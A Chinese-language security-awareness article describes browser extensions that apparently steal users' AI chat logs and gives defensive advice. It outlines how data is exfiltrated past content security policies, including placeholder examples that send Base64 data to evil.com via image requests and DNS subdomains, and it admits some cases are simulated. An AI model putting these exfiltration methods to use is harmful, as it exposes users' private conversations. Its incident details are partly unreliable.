当我们在浏览器里畅聊AI时，一场无声的“数据裸奔”正在上演

引言：一场针对AI对话的精准狩猎

2025年3月，某知名安全研究团队发布报告：至少12款看似无害的浏览器扩展（含主题、截图、翻译工具）被发现内置恶意代码，专门窃取用户与ChatGPT、Claude、文心一言等AI助手的对话记录，其中涉及大量医疗咨询、企业涉密文档、源代码及个人隐私。 这些扩展总计安装量超过50万，至今仍有部分在官方商店可下载。

这不是危言耸听。当全球数亿人将日常工作、医疗问诊、商业决策托付给AI时，黑客早已将目光从“盗号”转向了“盗对话”——因为那些未经修饰的原始对话，往往比最终文档泄露更多秘密。

尽量了解还原了此次事件的一些技术细节、攻击链路，并给出大家能操作的防护指南

---

一、事件还原：一场长达半年的静默渗透

1.1 受害对象画像

根据安全团队披露的遥测数据，受害者主要集中在：

• 医疗从业者：通过AI辅助诊断、查阅医学文献，对话中包含患者症状、治疗方案甚至基因数据。

• 企业员工：将内部涉密文档（如合同、技术方案）上传至AI进行总结或翻译。

• 开发者：在AI对话中粘贴核心代码片段进行调试或优化。

1.2 恶意扩展的特征

被曝光的扩展包括：“Cute Cat Cursors”、“Quick Translate Pro”、“AI Prompt Helper”等（均为化名）。它们具备以下共性：

• 功能看似正常：提供壁纸、截图、翻译等日常功能，用户评价良好。

• 申请权限合理：例如截图扩展需要“读取您访问的网站数据”，主题扩展需要“修改浏览器外观”，这些权限在用户看来无可厚非。

• 潜伏期长达6个月：早期版本无恶意行为，待积累足够用户后才通过静默更新注入恶意代码。

1.3 数据窃取全链路

攻击者采用“分阶段激活”技术，规避安全扫描：

第一阶段：侦察（安装后）
扩展通过内容脚本（content_scripts）注入到所有匹配的网站（*://*/*），但初期仅收集基础指纹（浏览器版本、操作系统、IP），判断是否为“高价值目标”（如访问过医疗网站、企业内网）。

第二阶段：狩猎（触发条件）
当用户访问特定AI域名（如 chat.openai.com、claude.ai、yiyan.baidu.com）时，扩展启动键盘记录器与DOM监听器：

• 实时捕获用户输入的问题和AI返回的答案。

• 截取包含对话内容的页面截图（尤其是包含上传文档预览的区域）。

• 通过隐藏的iframe将窃取的数据分段加密，伪装成正常的图片请求或WebSocket流量外传。

第三阶段：清洗（数据出境）
窃取的数据被发送至攻击者控制的C2服务器，随后在暗网按“主题分类”打包出售。医疗对话单价高达0.5美元/条，涉密文档按页计价。

---

二、技术解剖：为什么扩展能“看到”你的AI对话？

2.1 浏览器扩展的权限黑洞

浏览器扩展拥有超越普通网页的权限，这正是其便利性与危险性的根源。以Chrome扩展为例，其核心能力包括：

• <all_urls> / *://*/*：允许扩展在所有网站上运行代码。

• webRequest：可以拦截、修改浏览器发出的任何网络请求。

• storage：可读写本地存储，包括其他扩展的数据。

• tabs：能够获取已打开标签页的详细信息，包括URL、标题，并注入脚本。

恶意扩展只需申请<all_urls> + tabs两项权限，就足以完成上述窃密行为。而普通用户安装扩展时，往往对权限列表一扫而过。

2.2 静默更新的隐蔽性

Chrome扩展支持自动更新，且更新过程无需用户确认。攻击者可以先将无害版本上架，待通过审核后，将恶意代码推送给已有用户。即便新版被下架，旧版恶意行为仍会持续。

2.3 绕过内容安全策略（CSP）的巧思

现代AI网站通常会部署CSP（内容安全策略）防止数据外传。但攻击者利用以下手法绕过：

• 图片伪装：将数据编码为Base64格式，附加在图片请求的参数中（如 https://evil.com/pixel.png?data=...），CSP通常允许加载图片。

• WebSocket隧道：使用WebSocket建立全双工通信，流量特征与普通聊天无异。

• DNS隧道：通过向攻击者控制的域名发起DNS查询，将数据编码在子域名中（如 data1234.evil.com），网络层难以监控。

---

三、蝴蝶效应：对话泄露比想象中更可怕

3.1 医疗隐私：一旦泄露，终身风险

许多人在AI中咨询敏感健康问题（如HIV检测、心理疾病、罕见病），这些对话如果关联到真实身份，可能引发歧视、敲诈甚至影响保险。此次事件中，有受害者反馈其对话中包含“正在服用的精神类药物名称”，几周后便收到相关广告诈骗邮件。

3.2 企业机密：训练数据变成攻击跳板

某科技公司员工将包含API密钥的代码片段粘贴给AI优化，密钥随对话泄露。攻击者利用该密钥入侵公司云数据库，造成百万级损失。更危险的是，高管与AI讨论的并购计划、未公开财报，可能成为竞争对手的“情报金矿”。

3.3 法律与合规：谁为泄露负责？

当涉密文档通过AI对话泄露时，责任边界模糊：是用户的过失？是AI服务商的安全缺陷？还是浏览器厂商的审核漏洞？目前司法实践尚无明确判例，但企业可能因此违反《数据安全法》《个人信息保护法》，面临高额罚款。

---

四、安全启示：如何终结这场“裸奔”？

4.1 给普通用户的立即可执行建议

1. 立即清理可疑扩展

   • Chrome：chrome://extensions/ → 逐个审查，移除不常用或来源不明的扩展。

   • Edge：edge://extensions/ 同理。

   • Firefox：about:addons。

   • 重点关注那些拥有“访问所有网站数据”权限的扩展。

2. 利用浏览器隔离敏感任务

   • 使用 无痕模式 访问AI网站（扩展在无痕模式下默认禁用，除非手动开启）。

   • 为AI对话创建 专用浏览器配置文件（Chrome用户配置文件/Edge个人资料），该配置下只安装必要扩展。

3. 开启扩展运行时权限控制

   • Chrome 用户可安装 扩展权限管理器（如 Extension Manager），临时关闭非信任扩展的“网站访问权限”，仅在需要时开启。

4. 监控数据外传迹象

   • 使用 防火墙软件（如 Little Snitch for Mac、Windows 防火墙高级规则）监控浏览器对外的异常连接。

   • 若发现浏览器频繁访问陌生境外IP或域名，立即断网排查。

4.2 给开发者和企业的策略

1. 部署浏览器合规管理

   • 企业应通过 组策略 或 MDM（移动设备管理） 强制禁止员工安装非白名单扩展。

   • 使用 DLP（数据防泄露）终端 监控浏览器向AI粘贴的数据，并对敏感内容告警。

2. 加强AI服务自身防护

   • AI服务商可引入 水印技术，在对话内容中嵌入隐形标记，一旦泄露可溯源至具体用户会话。

   • 对上传文档进行 敏感数据识别，若含身份证号、密钥等，强制用户脱敏后提交。

3. 推动浏览器扩展审核改革

   • 建议浏览器厂商增加对扩展“静默更新”的审查，要求重大权限变更需用户二次确认。

   • 安全社区应建立 恶意扩展黑名单共享机制，如 Google Safe Browsing 现已覆盖部分恶意扩展，但覆盖率仍有限。

4.3 未来的防护方向

• 操作系统级隔离：未来浏览器可能以沙箱容器运行，不同任务的扩展相互隔离，防止一次泄露全局沦陷。

• AI隐私计算：用户与AI的交互可加密后发送，服务端在可信执行环境（TEE）中解密计算，返回加密结果，使窃取流量的价值归零。

---

五、结语：安全是一场永不停歇的猫鼠游戏

浏览器扩展本是提升效率的翅膀，如今却成了悬在隐私头顶的达摩克利斯之剑。此次事件再次印证：任何能接触数据的环节，都可能成为数据泄露的突破口。当我们享受AI带来的便利时，不妨多花一分钟检查一下：那些默默运行在浏览器角落的扩展，真的值得你托付所有对话吗？

你的每一次粘贴，都可能成为黑客的下一份战利品。 从今天起，请像保护钱包一样保护你的AI对话记录——毕竟，数字时代的隐私，比实体财富更易碎、更难追回。

---

参考文献

1. The Register: Browser extensions caught stealing ChatGPT conversations

2. Google Chrome Extensions Security Whitepaper

3. OWASP Browser Extension Security Cheat Sheet

（本文基于公开安全报告撰写，部分案例为模拟场景，旨在提高公众安全意识。）